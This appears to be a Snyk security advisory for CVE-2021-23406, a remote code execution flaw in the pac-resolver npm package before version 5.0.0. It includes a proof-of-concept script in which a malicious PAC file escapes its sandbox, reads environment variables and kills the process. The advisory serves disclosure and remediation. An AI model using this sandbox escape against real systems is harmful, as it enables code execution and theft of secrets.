Remote Code Execution (RCE) Affecting pac-resolver package, versions <5.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.46% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-PACRESOLVER-1564857
  • published22 Aug 2021
  • disclosed30 May 2021
  • creditTim Perry

Introduced: 30 May 2021

CVE-2021-23406  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade pac-resolver to version 5.0.0 or higher.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.

In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.

NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency is written by the same maintainer.

PoC

const pac = require('pac-resolver');

// Should keep running forever (if not vulnerable): setInterval(() => { console.log("Still running"); }, 1000);

// Parsing a malicious PAC file unexpectedly executes unsandboxed code: pac(` // Real PAC config: function FindProxyForURL(url, host) { return "DIRECT"; }

// But also run arbitrary code:
var f = this.constructor.constructor(\`
    // Running outside the sandbox:
    console.log(&#39;Read env vars:&#39;, process.env);
    console.log(&#39;!!! PAC file is running arbitrary code !!!&#39;);
    console.log(&#39;Can read &amp; could exfiltrate env vars ^&#39;);
    console.log(&#39;Can kill parsing process, like so:&#39;);
    process.exit(100); // Kill the vulnerable process
    // etc etc
\`);

f();

CVSS Scores

version 3.1